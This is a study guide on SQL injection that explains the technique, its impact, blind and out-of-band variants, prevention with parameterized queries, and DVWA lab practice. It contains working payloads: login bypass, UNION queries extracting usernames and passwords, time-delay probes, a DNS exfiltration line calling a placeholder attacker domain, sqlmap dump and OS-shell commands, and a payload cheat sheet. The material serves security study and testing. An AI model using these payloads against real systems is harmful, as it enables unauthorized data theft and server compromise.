

SQL Injection — Study Guide

SQL Injection (SQLi) is a vulnerability that lets an attacker interfere with the queries an application sends to its database — closing the loop on your CWE guide (this is **CWE-89**), your CVSS guide (SQLi vulnerabilities routinely score Critical), and your OWASP Top 10:2025 guide (it now sits at **A05:2025 Injection**). It remains one of the most damaging vulnerability classes in existence because a database sits behind almost every meaningful piece of data an application holds.

1. What's Actually Happening Under the Hood

Applications build SQL queries by combining fixed query logic with user-supplied input. When that input is inserted directly into the query string (string concatenation) instead of being kept strictly separate from the query's structure, an attacker can supply input that changes the *meaning* of the query rather than just its data.

```
Intended:  SELECT * FROM products WHERE category = 'Gifts'
AND released = 1
Attacker input in the category parameter: Gifts'--
Resulting query: SELECT * FROM products WHERE category = 'G
ifts'--' AND released = 1
```

The `--` sequence starts a SQL comment — everything after it is ignored by the database, silently removing the `AND released = 1` restriction and exposing unreleased products the application never intended to show.

2. Impact — Why This Category Is So Severe

A successful SQLi attack can lead to:

- **Unauthorized data disclosure** — passwords, personal data, payment details, anything the database holds
- **Authentication bypass** — logging in as any user without a valid password
- **Data modification/deletion** — persistent changes to application content

- **Full server compromise** — in some database configurations, SQLi can escalate to OS-level command execution
- **Denial of service** — resource-exhausting queries can take a database down

This maps directly onto the CIA Triad guide from earlier in your series: SQLi can violate **Confidentiality** (data theft), **Integrity** (data tampering), and **Availability** (DoS) all through the same entry point — exactly why it scores so high on CVSS's C/I/A impact metrics.

3. Where SQLi Can Occur

Most testers immediately think of the `WHERE` clause of a `SELECT` statement, but injection points exist anywhere user input reaches a query:

```
UPDATE statements    → in the SET values or the WHERE clause
INSERT statements    → in the values being inserted
SELECT statements    → in table/column names, or the ORDER BY clause
```

Input doesn't have to arrive via a URL parameter either — JSON bodies, XML fields, HTTP headers, and cookies can all feed into a vulnerable query if the application processes them unsafely.

4. Example 1 — Retrieving Hidden Data

```
Normal request: https://site.com/products?category=Gifts
Query built:    SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Attack:         https://site.com/products?category=Gifts'--
Query becomes:  SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
                → the released=1 restriction is commented out, unreleased items leak
```

Attack: `https://site.com/products?category=Gifts'+OR+1=1--`

Query becomes: `SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1`

→ `1=1` is always `true`, so `EVERY` row is returned regardless of category

Caution worth internalizing: injecting `OR 1=1` into a query that later feeds an `UPDATE` or `DELETE` statement (not just a `SELECT`) can cause unintended data loss — the same payload that harmlessly reveals extra rows in a `SELECT` context can silently wipe or overwrite data elsewhere if reused carelessly.

5. Example 2 — Subverting Application Logic (Auth Bypass)

Normal login query:

```
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
```

Attack — username field: `administrator'--` (password left blank)

Query becomes:

```
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
```

The `--` comments out the password check entirely — the query returns the `administrator` row regardless of what password was submitted, logging the attacker in with zero valid credentials. This is exactly the kind of finding that turns a simple injection bug into full account takeover.

6. Example 3 — UNION Attacks (Pulling Data From Other Tables)

If the application echoes query results back in its response, the `UNION` keyword lets an attacker append an entirely separate `SELECT` statement, pulling data from completely different tables into the same response:

```
Original query:  SELECT name, description FROM products WHERE category = 'Gifts'
Injected input:  ' UNION SELECT username, password FROM users--
Resulting query: SELECT name, description FROM products WHERE category = 'Gifts'
                  UNION SELECT username, password FROM users--
```

The response now displays usernames and passwords disguised as product names/descriptions. For a UNION attack to work, the injected `SELECT` needs the **same number of columns** and **compatible data types** as the original query — this is why UNION-based exploitation typically starts with column-count enumeration:

```
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--      (repeat, increasing the number, until an
error occurs — that tells you the column count)

' UNION SELECT NULL--
' UNION SELECT NULL,NULL-- (repeat, matching the discovered
column count)
```

7. Blind SQL Injection

Many real-world SQLi vulnerabilities are **blind** — the application never displays query results or database errors directly, so you can't simply read data out of the response. Blind SQLi is still fully exploitable, just slower and more methodical:

a) Boolean-based (conditional responses)

```
?id=1 AND 1=1      → page behaves normally (condition true)
?id=1 AND 1=2      → page behaves differently (condition false) — e.g., missing content, different length
```

By asking true/false questions this way one bit at a time, you can extract data character by character (e.g., testing `AND SUBSTRING(username,1,1)='a'`, then `'b'`, etc., for every character of every row).

b) Error-based

Deliberately triggering a database error (like a type-conversion failure or divide-by-zero) that's conditional on a fact you're testing, or — even more directly — triggering *verbose* error messages that leak the actual data inside the error text itself.

c) Time-based (time delays)

```
?id=1; IF (1=1) WAITFOR DELAY '0:0:5' -- (MSSQL)
?id=1 AND IF(1=1,SLEEP(5),0) -- (MySQL)
```

If the response takes 5 seconds longer when the injected condition is true vs. false, you've confirmed the condition — and by extension, can extract data bit-by-bit purely by measuring response time, even when the application shows absolutely no visible difference in output.

d) Out-of-band (OAST — Out-of-band Application Security Testing)

The most powerful blind technique when boolean/time-based methods are blocked or unreliable — you trigger the database itself to make an *outbound* network connection (commonly a DNS lookup) to a domain you control, exfiltrating data directly through that side channel:

```
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker-domain.com\\a')) --
```

Even if the web application shows nothing at all, watching your DNS server's logs confirms the injection worked and can leak the actual queried data as part of the DNS request itself.

8. Second-Order (Stored) SQL Injection

First-order SQLi — malicious input is processed and hits a vulnerable query in the same request.

Second-order SQLi — malicious input is safely stored in the database first (e.g., during a properly-parameterized signup form), but is later pulled back out and inserted *unsafely* into a different query somewhere else in the application.

Since the data already "lives" in the database, the developer at that second point often wrongly assumes it's already trusted/safe — a subtle, easy-to-miss class of bug that automated scanners frequently overlook, since they're testing one request at a time and don't naturally connect "data stored here" to "data unsafely used there."

9. Examining the Database Once You Have Injection

After confirming SQLi, the next step is usually fingerprinting the database type/version, since exploitation syntax varies by platform:

```
-- MySQL
SELECT @@version

-- MSSQL
SELECT @@version

-- Oracle
SELECT * FROM v$version

-- PostgreSQL
SELECT version()
```

Enumerating the schema (works similarly across most platforms via the standard `information_schema`):

```
SELECT table_name FROM information_schema.tables
SELECT column_name FROM information_schema.columns WHERE table_name = 'users'
```

This directly parallels your CVE/NVD-style research habit — once you know the exact database engine and version, you can cross-reference known engine-specific injection techniques or vulnerabilities the same way you'd look up a CVE for any other piece of software.

10. SQLi in Non-Standard Contexts (Evasion-Relevant)

SQLi isn't limited to URL query strings — any input that eventually reaches a SQL query is a candidate, including JSON bodies, XML fields, and HTTP headers. This matters for evasion: applications with weak WAF/filter rules often just pattern-match on keywords like `SELECT` in plain text — encoding part of the payload (e.g., XML character entity encoding a single letter of a SQL keyword) can smuggle the payload past naive filters, since the target only decodes it *after* the filter has already inspected (and passed) the request.

11. Automated Tools for Finding and Exploiting SQLi

```
# sqlmap - the industry-standard automated SQLi exploitation tool
sqlmap -u "http://target/page?id=1" --dbs
# enumerate databases
sqlmap -u "http://target/page?id=1" -D dbname --tables
# enumerate tables
sqlmap -u "http://target/page?id=1" -D dbname -T users --dump
# dump table contents
sqlmap -u "http://target/page?id=1" --os-shell # attempt OS command shell (if DB config allows)
sqlmap -r request.txt --batch # feed sqlmap a raw Burp/ZAP-captured request
```

This directly connects to tools from your earlier guides:

```
Wapiti's `sql` module → automated black-box injection testing (your Wapiti guide)
OWASP ZAP Active Scan → flags SQLi as part of its automated + manual workflow (your ZAP guide)
Nuclei → community templates specifically targeting known SQLi CVEs (your Nuclei guide)
```

Practical workflow: Nikto/Nuclei/ZAP's automated scan for a fast first pass → Wapiti or sqlmap for dedicated injection testing → manual confirmation and exploitation in Burp/ZAP for anything found, exactly mirroring the "automation flags it, human confirms it" discipline emphasized throughout your Nessus/OpenVAS/Nikto/Wapiti guides.

12. Manual Detection Checklist (What to Actually Try on Every Input)

1. Submit a single quote (') → look for SQL errors or broken page behavior
2. Submit a value that evaluates to the original vs. a different value → look for systematic response differences
3. Submit boolean conditions: OR 1=1 vs. OR 1=2 → compare responses
4. Submit time-delay payloads (SLEEP/WAITFOR) → compare response timing
5. Submit OAST payloads → monitor for out-of-band interactions (DNS/HTTP callbacks)

Every distinct input on a page — URL parameters, form fields, cookies, headers — deserves this checklist individually; a systematic tester doesn't just try the search box and call it done.

13. Prevention — Parameterized Queries (The Real Fix)

The single most effective defense is **parameterized queries** (also called **prepared statements**) — the query structure is defined and compiled first, completely separate from the data, so user input can never change the query's meaning no matter what characters it contains.

Vulnerable (string concatenation):

```
String query = "SELECT * FROM products WHERE category = '"
+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
```

Safe (parameterized):

```
PreparedStatement statement = connection.prepareStatement(
    "SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
```

Important limitation to know: parameterized queries work for data values (things going into `WHERE`, `INSERT` values, `UPDATE` values) — they **cannot** parameterize table names, column names, or `ORDER BY` clauses, since those are part of the query's structure, not its data. Untrusted input needed in those

positions requires a different approach entirely — typically a strict whitelist of allowed values, never string concatenation.

Critical discipline point: a parameterized query is only safe if the query string itself is always a hard-coded constant — never conditionally falling back to string concatenation "just this once" for a case someone judged safe. That kind of case-by-case exception is exactly how supposedly-fixed codebases end up vulnerable again later.

Additional layered defenses (belt-and-suspenders, not replacements for parameterization):

- **Least-privilege database accounts** — the application's DB user shouldn't have permissions beyond what it actually needs (no `DROP TABLE` rights for a read-only reporting feature)
- **Input validation/allowlisting** — especially for the structural positions (table/column names) parameterized queries can't cover
- **WAF rules** — a detection/mitigation layer, not a substitute for fixing the underlying query construction
- **ORM frameworks** — properly-used ORMs (Hibernate, SQLAlchemy, Entity Framework) parameterize by default, though raw/native query escape hatches within them can reintroduce the vulnerability if misused

14. Practical Lab Example — Tying to Your Existing Environments

```
DVWA SQL Injection module (Low security):  
Input: ' OR '1'='1  
Query becomes: SELECT first_name, last_name FROM users WHERE  
user_id = '' OR '1'='1'  
→ returns every user instead of just one  
  
DVWA SQL Injection (Blind) module:  
Input: 1' AND SLEEP(5) --  
→ confirms blind SQLi via response timing, exactly as covered in Section 7c
```

Since you've already worked with DVWA per your platform history, walking through its SQLi and Blind SQLi modules while explicitly labeling which technique from this guide you're using at each step (UNION-based, boolean-blind, time-blind) is a strong way to turn "I did the DVWA SQLi module" into a structured writeup demonstrating methodology, not just "I got the flag."

15. Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

Framework	Mapping
CWE	CWE-89 (SQL Injection) — a child of CWE-74 (Injection) in the broader hierarchy from your CWE guide
OWASP Top 10:2025	A05:2025 Injection
CVSS	Typically scores high on Confidentiality/Integrity, often Availability too — AV:N/AC:L/PR:N common for unauthenticated SQLi
Cyber Kill Chain	Weaponization/Exploitation stage — a confirmed SQLi is a working exploit, not just recon
MITRE ATT&CK	T1190 (Exploit Public-Facing Application)

Quick Reference Cheat Sheet

```
-- Detection
'
' OR '1'='1
' OR 1=1--
admin'--

-- Union-based
' ORDER BY 1-- (find column count)
' UNION SELECT NULL,NULL,NULL-- (match column count)
' UNION SELECT username,password FROM users--

-- Blind - boolean
' AND 1=1--
' AND 1=2--
```

```
-- Blind - time-based
' AND SLEEP(5)--          -- MySQL
'; WAITFOR DELAY '0:0:5'--  -- MSSQL

-- Fingerprinting
SELECT @@version           -- MySQL/MSSQL
SELECT * FROM v$version    -- Oracle
SELECT version()          -- PostgreSQL
SELECT table_name FROM information_schema.tables
```

```
sqlmap -u "http://target/page?id=1" --dbs --batch
```